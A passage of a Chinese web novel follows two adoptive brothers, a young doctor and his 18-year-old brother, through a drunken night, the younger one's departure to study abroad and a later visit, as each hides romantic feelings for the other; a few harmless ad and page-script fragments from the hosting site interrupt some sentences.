“今天辛苦了,早点回去休息吧。” “好。” 章长叙目送完了对方离开,这才抓紧时间收完自己的东西下班。 中心医院的停车场总是车满为患。 章长叙习惯性地将车子停在最角落的位置,只是这次隔着大老远的距离,就看见自己车子边上的花坛围栏上坐着一团熟悉的身影。 章长叙眸色微凝,确认自己没有认错人后,快步走了上去。 “宁宁?” “啊?” 章长宁手中的动作一停,连忙抬头。 他对上章长叙的视线,连忙捧着自己手里的食物袋子起身,“二哥,你下班啦?” 往前走的步伐略微有些晃荡, () { $(''.inform'').remove(); $(''#content'').append('' 好像随时会不小心栽跟头。 章长叙本能地抓住他的手腕拉近,“你怎么来了?” 指腹传来手腕上细腻的触感,只是有些凉。 “来多久了?冷吗?” “嗯~” 章长宁摇了摇头,“大夏天的,不冷。” 他仰头弥补那点身高差的不足,说话声里带着一丝不曾有过的软糯醉意,“二哥,我等你下班呢。” 章长宁怕打扰到章长叙工作正事,所以没敢打电话发消息,就连章长叙的停车位置,也是他进入停车场后一排排盯着车牌找到的。 章长叙敏锐察觉出他的醉色,眉心微蹙,“章长宁,喝酒了?” “嗯~” 章长宁听见自己的全名,下意识地发出一声气音想要否认。 但想起自己以往任何小小的谎言在章长叙的眼里都无从遁形,于是服软般地改了话题,“二哥,你今晚忙着手术,是不是还没吃饭啊?饿吗?” 他捧起自己手里的食物袋子,醉意微沾的双眸亮晶晶的,像献宝似地对着章长叙说,“你看——” “我刚刚在医院门口看见的,有小商贩在卖盐焗鹌鹑蛋。” “我买了点,等着你下班的时候特意给你剥好了,还、还热乎着呢。” 章长叙余光一扫,心尖泛起暖意,“特意等我、特意给我的?” “嗯。” 章长宁点头。 他轻轻“挣脱”了章长叙的拉扶,用竹签插住了其中一个光溜溜的小鹌鹑蛋,“喏,你试试?我刚刚尝了一个,味道还不错呢。” 章长叙温柔示意,“有点起风了,先上车。” “好吧。” 章长宁一口塞进了自己的嘴巴里,任由章长叙牵着手腕、带上车。 砰。 车门一关。 章长宁再次将鹌鹑蛋递了上来,“二哥,你尝尝嘛,挺好吃的。” 章长叙没拒绝递到嘴边的好意,咬了一口。 章长宁凑近,“怎么样?是不是味道还可以?” “你剥的,心意更重要。”章长叙实话实说。 章长宁烦躁了一晚上的心突然得到了平静,他忍不住笑眯了眼,哼哼唧唧地邀功,“那是,我手工费可贵了呢。” 章长叙跟着笑,“那我再吃一个?” “嗯!” 两人很快就将一袋鹌鹑蛋瓜分完毕,章长叙空落了许久的胃终于得到了照顾,舒服了不少。 章长宁闷着清了清嗓子,“忘记买水了,吃多了有点干。” 章长叙拿出自己的保温杯,还给他拧开了瓶盖,“先喝点温水?” “二哥,你真在用我送你的水杯啊?” 章长宁笑着接过,一点儿没客气地喝了两口。 章长叙伸手替他系上安全带,看似平静的语气里带了点专属的逗弄,“我怕我不用这保温杯,有人又要哭鼻子。” 从小到大,章长宁给他们两个哥哥都送了不少东西,特别是章长叙。 但凡是放在一旁不用上,章长宁就会忍不住哭鼻子。 章长宁耳根子臊得发红,矢口否认,“哪有,我上了初中后就没哭过了。” 上初中以前,那是年纪小不懂事,不能一概而论。 章长叙点到为止地逗了逗,又接回他手里的杯子,一点儿都不嫌弃地将最后一点温水喝完。 “好了,不早了,我们回家。” “好。” 9.【第009章】 车子停在家中车库时,副座上的章长宁已经睡着了。 章长叙犹豫了两秒,还是没忍心直接喊醒他,只是先下了车绕行到了副驾,打开车门、弯下腰—— 温厚的掌心抚上颈侧,升起一种熟悉的酥麻感。 章长宁下意识地偏头蹭了蹭掌心,哼哼唧唧地半睁开眼。 “宁宁?” 章长叙耐着性子哄他,“到家了,很困吗?” 酒意和困意齐刷刷地占据了章长宁的大脑,他习惯性地伸手圈上了章长叙的臂膀,鼻音软软地“嗯”了一声。 章长叙一把将他拖抱了起来,“困就睡,哥抱你回房间。” 就像小时候一样,章长宁像个树袋熊一样地趴抱在了章长叙的身前,被任由对方将自己带去任何地方。 温热而轻柔的呼吸喷洒在颈侧,章长叙不着痕迹地偏了偏头,这才带着怀中人往主屋的方向走。 “……” 脚步声踩在楼梯上,发出声响。 章长宁总觉得过了一个世纪,迷迷糊糊睁眼才发现两人刚到自己的房间门口,“二哥?到了吗?” 说着,他就挣扎着从章长叙的怀中落了地。 “小心点,是不是喝醉了?我去给你找解酒药。” “我要洗澡。” 章长宁答非所问,迷糊却又可爱地同章长叙挥了挥手,“二哥拜拜~晚安。” 章长叙拿他没有办法,习惯性地揉了揉他的脑袋,“简单洗漱一下就睡觉,别太折腾了。” “嗯嗯嗯。” 章长宁根本没听进去,转身就往房间的浴室走,连房门都没带上。 章长叙眉心泛起一丝浅浅的担心,但终究没有随意踏足章长宁的房间领地,他将房门虚掩上,然后就回到了自己的卧室。 淋浴洗漱过后,章长叙还是有些放心不下头一回醉酒的章长宁。 他刚准备下楼去拿解酒药、然后去对方房间一探究竟,结果房间门先响了起来。 叩,叩,叩叩,叩,叩叩叩,叩—— 暗藏规律的敲门声,是他们兄弟三人间从小就形成的默契,章长风这段时间不在家,能这么敲门的也就只有章长宁了。 想到这儿,章长叙不由加快了去开门的脚步。 果不其然,已经淋浴完的章长宁穿着松松垮垮的浴袍站在门外,房门一开,对方就绕过他、只奔着柔软的大床扑去。 章长宁拢着被子角一滚,带着醉意说,“二哥,我房间空调好像还是没好,开了还是热得慌,我在你这儿睡一晚。” 章长叙关门,无奈地跟随他往床边走。 “哪里是空调没修好?明明就是你这会儿酒劲起来了,所以觉得热了。” “嗯?那我不管。”章长宁“蛄蛹”了一下身子,赖皮道,“我今晚就在你这里睡。” “……” 再过三天,章长宁就该出国留学了。 章长叙想到这儿,压根升不起一点儿拒绝的念头。他默认了章长宁的举动,只说,“想要在这儿睡就老老实实钻被窝里躺好,别到时候又着凉了。” “喔。” 章长宁乖乖照做,还特意给章长叙留出了大半个床位。 章长叙将床头灯按到了最低档,也躺进了被窝。 章长宁感受到身边传来的熟悉气息,思绪被酒意侵扰得迷糊,也不管对不对了,发自本心地往章长叙的身边靠了靠。 他的目光流连在章长叙的脸上,忍不住低喃,“二哥。” 章长叙侧过身来看他,“嗯?怎么了?” 章长宁没接话,只是眸光迷离地、静静地盯着章长叙看,他的大脑似乎停止了运转,时不时又跳出今晚在包厢里的玩笑话—— “你二哥谈恋爱了吗?是不是很受女孩子欢迎?” “长得好看,又是医生,将来站在他身边的另一半估计也是又漂亮又优秀的。” “他二哥看着冷冰冰的,以后指不定会对另一半多温柔呢。” “你们少惦记长宁二哥了,谁还不知道长宁妥妥一个兄控啊?对他哥占有欲强着呢。” “喝醉了就胡说八道什么呢?那是他亲哥!” “你才想什么呢?谁不知道他们俩是亲兄弟啊?” “……” 不。 他们不是亲兄弟。 章长宁忽地想起了什么,垂落的眸光投下一片失落和迷茫。 他一直记得,他是被章渡从福利院里带回来的,他是没人要的孤儿,是章家领养了他、将他当成亲生儿子去看待。 这些年,章家上下都以为他忘记了这段小时候的记忆,有时候,章长宁也宁愿自己什么都忘记了—— 可命运就是让他记得这件事。 他甚至还知道,章家的的确确丢过一个和他差不多岁数的孩子,对方才是章长风和章长叙的亲弟弟。 从小到大,章渡十次里面有九次“出差”,都是为了寻找自己的亲生儿子,章长宁不过是孤儿院中最幸运的那一个,“代替”了那个孩子。 哪怕到了现在,章长宁还是时常会想: 如果那个孩子回来了,他一定会立刻将本就不属于自己的位置还回去,也包括这些年他攒下的不属于自己的积蓄。 可如果真有那一天,他该怎么面对章长叙呢?对方还会认他这个假弟弟吗? 或者用不了几年,章长叙就会拥有自己人生的另外一半、组成一个新的家庭,也搬出了这个家,到时候他们之间的兄弟关系也就没那么重要了。 “宁宁?困了吗?在想什么?” “……” 章长宁睫毛轻颤,重新将失焦的目光对准了章长叙。 体内酒意涌动的燥热随着纷乱的思绪越烧越旺,章长宁有些不安地合了合眼,但身体的行动快过于麻痹的大脑。 章长宁下意识地贴进了章长叙的怀中,两人这会儿带着点体温差,对方颈侧微凉的触感让他忍不住想要更多贴贴。 “嗯~哼。” 章长宁没意识到自己冲动之间的变化,只是想着牢牢扒在章长叙的身上。 比起已经醉软成一团的章长宁,章长叙显然还保持着清醒和理智, 过近的距离让他感受到章长宁某处的浅浅冲动,以及对方无意识散在他颈侧和肩膀上的滚烫气息,椰奶味道的沐浴液在这一刻浓烈了起来。 咫尺之距的怀中,是招人的、不设防的存在。 “……宁宁。” 章长叙呼吸一停,平常最轻易出口的名字都有了卡顿。 不过短短三秒内,他就彻底清醒了过来,像是阻止自己、也像是故意喊“醒”怀中人,“章长宁!你在干什么?” “……” 骤然的推拒、以及严肃的全称,让章长宁骤然归拢了一丝理智,他后知后觉意识到自己“不正常”的冲动,然后就听见章长叙用从未有过的语调说。 “你几岁知不知道?” “……” 章长叙点到为止,“我去客卧睡,你自己也早点睡。” 说着,他就迅速起身,头也不回地离开了房间。 砰! 难得忘记控制力度的关门声震耳发聩。 章长宁的酒意随着脸上的血色霎时间退了个干干净净,意识到自己居然真对章长叙有了那种不正常的冲动后,迟来的羞耻和懊悔顷刻将他团团裹住、逼到无法呼吸。 章长宁恨不得原地逃离这个房间,却又怕闹出得动静太大、传到章长叙的耳朵里,越发难堪。 ——你在干什么? ——你几岁了知不知道? 点到为止的劝阻就像一把名为“道德”的刀子,将章长宁割得血肉模糊,眼泪毫无防备地留了下来。 怎么办? 他怎么会对二哥产生这种不正常的想法?二哥又会怎么看他? … ——唰啦! 冷水激烈地冲刷着章长叙的掌心,他更是连连往脸上扑了好几把冷水,才勉强逼迫自己冷静下来。 章长叙望着镜中的自己,撑在水池边上的双手却控制不住地冒起青筋,从小到大,他第一次有了恨不得扇自己巴掌的冲动。 章长宁这个年纪还在青春期,头一回喝了酒没了分寸,突然冒出一些不可控制的冲动是情有可原的。 可他刚刚到底想做什么? 章长叙懊恼又自责地苦笑了一声。 早在上大学的那一会儿,章长叙就意识到了自己性取向,或者说自己感情的落地。 他在日积累月的相处和守护中,对章长宁产生了最错误的占有欲,那不是一个兄长对于弟弟该有的情感。 哪怕章长宁是领养的事实从小就摆在他的面前,可那又如何?父母早已经把对方当成亲生儿子去对待。 章长叙一直试图纠正自己的错误,可越是叫自己认清“不可能”的事实,反倒清醒沉沦着越陷越深。 即便如此,章长叙还是恪守着兄长该有的分寸,他不会刻意引导着章长宁,只是死死守住这道错误的阀口,一年又一年。 他想,他会看着章长宁上大学、毕业,以后会正常地恋爱、结婚、拥有自己的小小家庭。 明知道两人间的关系绝对没有越界的可能性,但刚才的他还是有了一瞬间不该有的念头! 刚才那番话听着是他在敲打章长宁,何尝不是他在警告他自己? 这种错误念头哪怕只有短短几秒,都不能再出现了!绝对不能! 章长叙双手攥到手心都发了麻,这才肯放过自己的精神鞭挞。 他抽出纸巾擦了把脸,眼睁睁地看着时间转到了凌晨,这才轻手轻脚地走回了自己的卧室、打开了房间门—— 两米的大床上只拢着一团小小的身影,还全部缩在了被子里。 章长叙走近,小心翼翼地将被子往下掀了掀。 章长宁还是抵不过醉意和困意,已经睡了过去,只是睡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 梦中的他紧锁着眉头,不安地将自己蜷缩了起来,这是缺乏安全感时才会有的睡姿。 章长叙用指腹抚了一下他的眉头,“宁宁,对不起。” “……” “刚刚是哥不好,说话的语气重了。” “……” “晚安。” … 三天后,帝京首都国际机场。 章长宁和商确言办完了行李托运,正分别和自己的家人告别。 章长宁依次拥抱了前来送机的章渡、沈眠和章长风,说着告别的话。 轮到章长叙时,他却意外地退缩了。 那晚过后,章长叙还是照常上班,下班后见了面,两人都刻意地“无视”了那晚的小小插曲,事实也的确没发生什么。 可章长宁就是说不上来的心虚,这不,放在往常很正常的接触,他却也不敢再有了。 章长宁假装淡定地戴上自己的帽子,笑了笑,“二哥,我走啦。” 章长叙压住心尖的那抹失落,点头,“好,出门在外注意安全,记得要和家里保持联系。” 章长风没意识到两个弟弟间的“不对劲”,“小宁,大哥和二哥有空就去看你,你有假期也随时买机票回来,咱们家不缺你这点留学费用,该花花,千万别省,知道吗?” 沈眠点头,“嗯,零花钱不够就和爸妈说,如果有个头疼脑热的,就打你凯叔的电话,他住的地方离得校区近,能帮忙上。” “吃不惯学校食堂的话,我就让人找佣人替你安排一日三餐。” 章渡又接话,“每个月月初,爸会让人往你的账户上定时打款,你别担心。” 章长宁感受到家人对自己的关心,“爸妈,还有哥,我不是三岁小孩子了,你们别担心我,我早就申请到了留学奖学金,够花呢。” 而且听说国外的临时工很多,收入也不错,他会在课余时间去赚点外快的。 他已经十八岁成年了,不应该再一味想着家里索取不属于他的东西了。 “沈姨,你们就放心吧——” 商确言和自己父母兄长告别完毕,绕到章长宁的身边,“我和长宁校区离得近,住的留学公寓还是上下楼,我和他会彼此照顾的。” 前来送行的商延枭叮嘱,“你自己行事要有度,别再像小时候那样‘连累’长宁就行。” 商确言不服,“哥,你别小看我。” “好了好了,你们俩进去吧,我们就送到这里了。” “嗯。” 商确言背好自己的双肩包,勾着章长宁的肩膀,“走吧。” 章长宁点了点头,和家人做了最后的告别,这才和好友一块前往了头等舱的候机室。 推拉门彻底隔绝了章长叙的身影。 章长宁强装潇洒的神色敛去,眸光黯淡了下来。 商确言察觉出了他的不舍,故意想用玩笑逗他开心,“长宁,你舍不得什么呢?别是在国内偷偷谈了恋爱,现在舍不得女朋友吧?” “……” 章长宁没忍住白了好友一眼,又问,“你没舍不得你哥……” 他顿了顿,有些刻意地补充,“和你爸妈?” “还好,反正又不是不回来了。”商确言的离别情绪没那么重,反而宽慰起章长宁,“而且你想啊,我们就是会长大、长大后就是会离家、独当一面,这是成长必经的过程。” “而且我偷偷告诉你,我联系好了AK赛车俱乐部,他们看过我今年初的兴趣赛,给我发来的邀请,我打算去试试看,下月初报道。” 当然,这事还没通知商家众人,是借着出国留学的名义偷偷进行的。 “……” 章长宁一惊,思绪略微转移,“你真要当赛车手?” 商确言信誓旦旦,“嗯,不仅要当赛车手,而且我在五年内一定要踏上世界级的比赛、还要拿到冠军,你信不信?” 章长宁没有抨击好友的雄心壮志,反而肯定道,“你从小运动天赋就好,你说行那就是行,我当然信你。” 商确言满意,酷酷地扬了扬下颚。 他见章长宁眼色还是有些黯淡无光,又回过话题来劝他,“无论是你还是我,以后终究会和爸妈还有兄长分开生活的,还不如趁早适应,对吗?” “对。” 章长宁应了一声,摩挲着自己的咖啡杯。 他必须要得逼着自己适应没有章长叙的生活,或许那晚突然而至的感情只是源于他对兄长的崇拜,是他在酒精的作乱下弄错了、弄乱了。 出国也好。 时间长了、离得远了,他就不会再有那些奇怪的、不堪的错误冲动了。 别人说得对,章长叙这样的外貌、学历和职业,就应该拥有一个同样优秀的伴侣、进入婚姻,早晚会有那么一天的。 在那一天到来之前,他一定会彻底剥离这份越了界的占有欲,绝不会打扰、影响到章长叙未来人生,哪怕一丝一毫都不行。 10.【第010章】 三个月后。 天气已经转凉了。 章长宁拿起手机,将泥塑设计拍下照片,发回到了家庭群里—— “请看我的最新作品,是不是很酷?” 家庭群里的消息回复来得很快,几乎每个人都第一时间给予了他肯定,就连上了年纪的章老夫人也发语音夸了两句,还问他: “小幺,你们学校元旦放假吧?回来吗?” “……” 章长宁盯着这行字,犹豫了两秒还是说,“奶奶,我就不回去了,我们导师看重我,前几天还说要带我去大师艺术展会呢,我得去长长见识。” 他顿了顿,又补充,“等过年,我一定回去,好吗?” 章老夫人和家里人的微信回复都来得很快,直到这段家庭聊天结束,章长叙都始终没在群里冒过泡。 章长宁退出群聊天界面,目光不自觉地停在了微信聊天置顶—— 那是章长叙的微信号。 自从出国留学后,章长宁有意识地减少了和章长叙的聊天频率,连日常的分享都只会往家庭群里发。 他听说章长叙很受医院教授和领导们的重用,哪怕才规培了四个月,就已经从一众实习医生里脱颖而出,还被允许破格旁听了不少医学研讨会。 不难想象,章长叙以后资历再涨涨,又会是一位多么出色而优秀的脑科医生。 大概是工作忙了起来,章长叙也从每天准时的早晚安问询、渐渐变得不再准时起来,但只要有空闲,哪怕是喝个水的功夫—— 章长宁还是会收到来自他的关系和惦记。 “……” 章长宁盯着越来越显得“生疏”的聊天内容,上一轮的聊天还定格在两天前。 “看天气预报,你们那边这周要降温了,出门记得戴围巾。” “好的,知道了。” 不知怎么,章长宁突然有种说不上的失落,明明一切都是在自己的控制内,可他的心就是会止不住的难受。 出国后,章长宁也从周围人的口中了解了很多、明白了很多—— 他意识到大多数人的性取向是天生的,意识到了自己对章长叙不该存在的身份越界,也意识到了这场注定不该存在的、注定走向“自我毁灭”的感情。 因此,他只能越发努力地将自己锁在原地。 手机上的时间跳转到了五点半,胃里也传来了不算舒适的抗议,从早上十点到现在,他还没吃过一口食物。 章长宁抛开纷乱的情绪,随手将手机塞回到大衣口袋,他锁了单人艺术室的门,一步步地往外走去。 寒风无孔不入,冻得章长宁只打哆嗦。 他望着不远处的院区餐车,没有犹豫就走了过去,虽然留学后认识的朋友、同学不少,但忙了一天,他是真没有力气再找人约晚餐了。 “你好,一份鸡肉卷,再给我一杯拿铁,谢谢。” 话音刚落,身后突然传来一声,“宁宁?” “……” 章长宁愣了两秒,还以为自己出现了幻听。 “章长宁。” 又是一句语调再熟悉不过的呼唤。 章长宁不可置信地转身,许久不见的章长叙就站在五米开外的地方。 对方手里拿着一个简单的黑色行李袋,身上的驼色大衣将他的身形衬得挺拔,冷峻的眉眼在冬日里透出一丝少有的暖色,此刻正锁着章长宁看。 章长宁对上久违的熟悉面容,眼眶忽地发烫。 章长叙看穿他的惊讶,笑了笑,“过来。” 简单两个字,立刻就让章长宁控制不住地跑了上去,“二哥——” 一如既往的称呼,却带着分隔三个月才有的思念。 章长宁很想要像以往那样飞扑在对方的怀里,可在最后关头又想起了什么,他硬生生止住了自己的冲动,在章长宁的跟前堪堪止住脚步。 他滚了一下喉结,嗓音里藏着一丝欲哭不哭的软,“我不是在做梦吧?你怎么来了?” 没有预想之中的黏人拥抱,章长叙微微悬空迎接的手一顿,他压住瞳孔深处的那丝失落,转瞬就将注意力投送在了章长宁相对单薄的衣物上。 “不是在微信上和你说了会降温?怎么还穿这么少?” 说着,章长叙就将自己身上的围巾摘了下来,温柔圈在了章长宁的脖子上,“不冷?” 围巾上还带着独属于章长叙的温度,蕴得章长宁眼眶更热。 他轻吸了一下鼻子,“二哥,你先回答我,你怎么来了?” “那边医院组织参加国际向的医学研讨会,我在随行旁听人员的名单里,就在意大利,算算时间勉强能空出小半天。” 章长叙也没瞒他,“我定了明天下午一点的飞机再过去,等结束后和大部队一起回国。” “……” 所以,这是临时挤出时间来找他的? 章长宁眸光微动,还没等来得及说上些什么,身后的餐车老板就大声喊道,“先生,你点的餐食已经做好了。” “来了。” 章长宁连忙转身去取。 他才付完钱、将鸡肉卷和咖啡拿到手中,身后的章长叙就跟了上来,用不太赞同的语气说,“你就吃这个当晚餐?” 章长叙作为医生,向来是讲究健康的。 “……” 章长宁许久没被家里人管教过了,如今听见章长叙的问话忍不住心虚。 “我有点饿,打算先垫垫肚子……”他小心翼翼地对向章长叙的眼,连忙找好了说辞,“二哥,现在你来了,我们去外面餐厅吃吧!我请客!” “不去外面吃了。” 章长叙接过他手中的食物,说出一早就做好的打算,“我查过附近的超市了,我们一块去买食材,我去你公寓做饭,今晚在家里吃。” 家? 章长宁眨了眨眼,期待溢出,“二哥,你要给我下厨吗?” 章长叙颔首,“看看超市里有什么食材,我尽量给你做些家常菜?” 都说留学生最苦的就是“吃饭”、“吃中国饭”,章长叙总觉得章长宁也消瘦了一点,想着能给他补上一餐算一场。 这份邀请对于章长宁来说太诱人,他没舍得拒绝,“好!” … 好在校区附近有不少公寓,因此也有一家大型商超驻足,各种新鲜的蔬菜和肉类都不少。 章长叙自然不会在花钱这方面太过计较,拿了不少东西,章长宁看着明显贵出不少的物价,隐隐有些肉疼。 “二哥,买得差、差不多了吧?挺贵的呢。” “我们家什么时候要考虑这方面了?这些不都是你爱吃的?”章长叙打定主意要多买些,还问,“你公寓里还有饮料吗?今晚想喝什么?” 章长宁听见这话,想了想,“喝点鸡尾酒,可以吗?” 他是出国后才发现自己其实挺爱喝酒的。 在章家人不知道的时候,章长宁还被同班同学拉去过几次酒吧,尝试了不少酒的类型,酒量勉勉强强过得去。 章长叙原本想要开口拒绝,但话到嘴边对上章长宁暗含期待的小眼神,卡顿了一下才开口,“好,少买点。” 章长宁没料到章长叙居然真的会答应,顿时乐得眼神指路,“二哥,酒品区在那边!” 章长叙见他开心,嘴角也弯了弯,“走吧。” 酒区的种类琳琅满目,光是鸡尾酒就摆满了整个货架。 章长叙和章长宁正忙着研究,忽地听见有人喊道,“宁,你怎么也在这里?” 两人不约而同地朝着声源看去,对方是两位年轻人,看装扮就知道也是学生。 章长宁率先反应过来,打招呼,“德文,好巧。” 同行里的德文是比他大一届的学生,早在迎新会上就认识了。 德文的余光注意到了后方的章长叙,无声挑了挑眉,带着一点儿八卦询问,“宁,后面这位帅哥是你男朋友?” “……” “……” 这话一出口,章长宁和章长叙同时怔住。 章长宁的脸颊迅速发烫,原地拔高声音解释,“你误会了!他是我哥哥……亲哥哥!” 但最后这句重复,明显失了点底气。 德文意识到自己的失言,连忙补救,“抱歉,我开玩笑的,不过宁,你和你哥哥长得一点儿都不像,但你哥哥也很帅。” 章长叙没有接话,只是微微一笑。 “……” 一点儿、都不像吗? 章长宁思绪凝结,心尖再度钻出一丝酸涩,还没等他反应过来,自来熟的德文就靠近揉了揉他的小卷毛。 章长宁长得精致可爱,周围多得是朋友爱揉他的脑袋。 “行了,我们就不打扰你和你哥哥的见面团聚了,我还要去买点其他的,下次有机会再约你吃饭。” 章长宁根本听不见他在说什么,只是忙不迭地点了点头,巴不得德文这会儿早点离开。 直到德文和安的身影消失在货架拐角处,他才敢回头去看章长叙,“……哥,你别、别介意,他们开玩笑呢。” 德文和安是一对同性恋人,这不看谁都能轻易会错意。 章长宁心跳如鼓,生怕章长叙看出些什么端倪。 章长叙盯着章长宁被揉乱了些的头发,眸光深了一度,“没事,挑酒吧。” 章长宁没察觉眼前人细微的反应,这会儿哪里还有心思挑酒? 他随手从货架上拿了几瓶鸡尾酒,转移话题,“差不多了,我们抓紧时间回去吧!” “好。” … 章长宁在校区外租了一间单人公寓,超市步行抵达就五六分钟。 等到进了门,章长叙才发现这间公寓面积远比自己想象中得要小很多,他不太赞同地蹙了蹙眉,“怎么租这么小一间?” 之前看对方给家里拍回的视频,只当这公寓不错。 章长宁帮忙将食物搁在小小的“厨房区”,回答,“实际面积很够用了,而且什么功能设施都有,我挺喜欢的。” 章长宁没敢说实话,他的这间公寓确实比商确言住的地方要小不少。 因为他没有去动章家给自己的留学款,而是在花自己的奖学金,对他来说,既然已经成年了,就应该尽可能负担起自己的生活开销。 哪怕章家人从来没有要求过他节省,但他总觉得有些钱应该存起来,以后还给那个真正的章家小少爷。 章长宁见章长叙还是没有接话,又找补,“二哥,小小的挺好的,我一个人住着很有安全感。” 而且,他也不是真的在苛待自己,没住得那么差。 章长叙还是不满意,却暂时没在这件事情上浪费时间,“行了,我洗个手给你做东西吃。” “嘿嘿。” 章长宁乐得往他身边凑,“二哥,我帮你~” 章长叙垂眸盯着他的卷毛脑袋,“你别在这儿添乱,我看厨房这块倒是干净的很,平时根本不下厨吧?” “……” 章长宁沉默两秒,嘴硬哼唧,“我只是比较忙,哥,你瞧不起谁呢~” 章长叙的厨艺还算过得去,简单做出了四道菜后,兄弟两人就盘腿对坐在小客厅的茶几边上。 章长宁麻利地开了一罐鸡尾酒饮品,正打算给章长叙递去,结果被对方的一道眼神就制止了,“你喝吧,我就不喝了。” 说着,他就饮了一口温水。 章长宁耸了耸鼻子,“好吧,那我开动啦。” 章长叙示意,“嗯,多吃点。” 毕竟是从小相伴着一块长大的,章长宁还是没忍住自己的分享欲,边吃边说着留学起来的很多经历和故事。 章长叙耐心听着,看着眼前人一点一点展露出的鲜活。 那是比隔着微信聊天要更让他珍视、看重的存在。 忽然间,章长叙像是想到了什么,忍不住开了口,“刚刚在超市里和你对话的那个男孩子是你同学?” “唔~” 章长宁正咬着一块排骨肉,含糊地摇了摇头,“他是我学长,他……” 还没介绍完,章长宁就想起了德文那句玩笑似的“男朋友”。 说者无意、听者有心。 而且这会儿章长叙又重复问起,虽然没涉及到该有的那个关键词,但章长宁还是有种莫名的、做贼心虚的感觉,生怕被眼前人看出什么端倪。 而他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的这副反应落在章长叙的眼中,却演变成了另外一个意思—— 怎么提到那个叫德文的,就那么紧张? 而且刚才在超市里,对方就这么一点儿都没有距离感地揉了脑袋?有这么亲密吗? 要是没记错的话,小弟那会儿的表情明显有些不对劲,就像、就像现在这样。 兴许是章长叙的目光太过直白犀利,章长宁越发被他盯得慌了神。 他下意识地想要转移话题,口不择言,“哥,你、你觉得我要是谈个恋爱怎么样?” “谈什么谈?” 章长叙几乎是瞬间降了语调,隐隐带着一丝不能见光的占有欲。 “……” “……” 章长宁几乎没有听过章长叙如此生硬的语气,有些无措地紧了紧呼吸。 章长叙当然也意识到了自己的失态,及时收回了冷硬,“我的意思是,你现在年纪还小,学业为重,别随随便便就想着谈恋爱。” “等再过个两三年,思想和性格都更成熟了……”他顿了顿,才说,“到时候你要是有喜欢的人,再接触着谈恋爱也不迟。” 章长宁忙接话,“二哥,我开玩笑呢,我没有喜欢的人。” 章长叙又给他夹了一块排骨,将这一话题翻篇,“嗯,吃吧。” 这点菜量足够两人填饱肚子。 章长宁将碗筷收回到了洗碗池,打算等明天有空再处理,他看了一眼墙上挂着的时钟,已经快八点了。 “二哥,你定酒店了吗?” “没有。” 章长宁想了想,问,“那晚上要住在这里吗?我明天早上没课,正好可以送送你。” 章长叙没拒绝,“也行。” 话说到这儿,章长宁却突然想起了什么,他余光瞥见卧室那张一米五宽的小床,脑海中忽地回想起了出国前最“不堪”的那一幕: ——你在干什么? ——你几岁了知不知道? 章长宁生怕自己又不可控地闹出不该有的念头,连忙说,“二哥,那你今晚睡在我的床上!我睡在沙发上!” “……” 完全没料到的提议传入耳中。 章长叙眉心微不可查地拧了拧,他瞥见那张明显无法平躺睡人的沙发,“睡沙发?” “啊?嗯。” 章长宁解释道,“我那张床有点小,我怕、怕睡两个人太挤了,不方便。” “……” 是不方便? 还是不愿意和他躺在一起? 章长叙眼色微变,当机立断,“不用了,我迟点去找酒店就行,你好好在家里休息,明天上午也不用送我去机场了。” 说着,他的目光就落在了柜子上的手提行李袋上。 章长宁一慌,连忙拦住他的去路,“二哥,你别走啊,我还想和你多待一会儿呢。” 章长叙对上他的眼睛,“时间不早了,我找酒店也需要时间。” 章长宁舍不得,嗡嗡开口,“今晚一块睡不行吗?” 章长叙反问,“不是你说不方便?” “……方便的。”章长宁解释,“我是怕我太闹腾了,你睡不好。” 章长叙这才松了神色,“从小到大,我也不缺你这一次闹腾。” … 是夜。 章长宁洗完澡从浴室里出来时,时间已经晃到十点了。 他看着靠坐在床头、正在回复工作邮件的章长叙,没由来地升起一丝不自在。 哪怕两人同床而眠的次数早已经数不清了,可今时不同往日,总叫他觉得尴尬别扭。 “傻站着做什么?” 章长叙掀开一侧的被子,“快进来,别着凉。” “哦。” 章长宁龟速挪到床边,躺了下来,“二哥,我有点困了,想直接睡觉。” 说着,他就侧躺背对着章长叙,将大半个脑子都缩在了被窝里。 “……” 章长叙察觉到一丝不对劲,瞳孔深处晃过一丝探究,可他不愿意逼问章长宁,只好放下平板,“那就早点睡吧。” 啪嗒。 卧室的灯关闭,只留下一室昏暗。 章长宁感受到章长叙躺下来的动势,甚至能感觉到身后传来的那点近距离的热源,可他僵着侧躺的姿势,不再敢向以往那样往对方的身边钻。 沉默的呼吸声持续了好一会儿。 还是章长叙先说,“宁宁,晚安。” “晚安。” 章长宁假装昏昏欲睡地应了一声,极力控制着自己的呼吸和心跳。 时间在昏暗中被拉得无限长,直到听见身边人传来平稳的呼吸声,章长宁缓慢地侧身、借着微弱的光线看了一眼—— 大概是长途飞机的劳累所致,章长叙已经平躺着入睡了。 章长宁紧绷的心弦松了下来,但还是不敢往章长叙的身边靠,他压住自己心底如藤蔓一样缠绕生长的思念,合眼压住此刻说不上来的酸涩。 他突然很想要回到小时候,回到什么都不懂、什么感情都还未萌芽的小时候。 章长叙还是他的兄长,只是兄长。 章长宁胡乱地想着,最终还是难抵睡意。 时间一分一秒地流逝,直到感受到身边人真正平稳的呼吸声,假寐的章长叙才重新睁开了眼、看向身边。 章长宁卷着被子的一侧,蜷缩着身子睡着。 “宁宁。” 章长叙往前挪了一寸,指尖穿过他柔软的卷发,抚上了他的颈侧。 睡梦中的章长宁舒服地哼唧了一声,像是刻进骨髓深处的本能反应,转身就往熟悉的怀里钻去。 像以往那样,他手脚并用地缠在章长叙的怀中。 而和以往不同的是,睡梦中的他带着一丝说不上的委屈呓语,“二哥。” 章长叙明知道他听不见,但还是轻声回应,“嗯?我在。” “……我不想、不想再长大了。” “……” 章长叙喉间少有的一涩。 如果可以,他也希望时间能够倒回。 章长宁拍着章长宁的后背,是十几年如一日的哄睡,“宁宁乖,睡吧。” 11.【第011章】 这一觉,章长宁睡得很深。 直到迷迷糊糊醒来,他的床侧早已经空了一半,被困意侵占的思维在瞬间挣脱而出,下意识地慌乱迫使他飞速下床。 “二哥!” ——砰! 房间门几乎是被撞开的。 厨房和小客厅是半连接的结构,正在备餐的章长叙立刻侧身投来的视线。 “二、二哥。” 章长宁狂跳的心提高了嗓子眼,这会儿有些发堵地喘了两口气。 章长叙察觉出他眼中一闪而过的慌乱,又瞧见他身上单薄的睡意以及踩在地板上的赤脚,连忙走了过去,“怎么了?做噩梦了?” 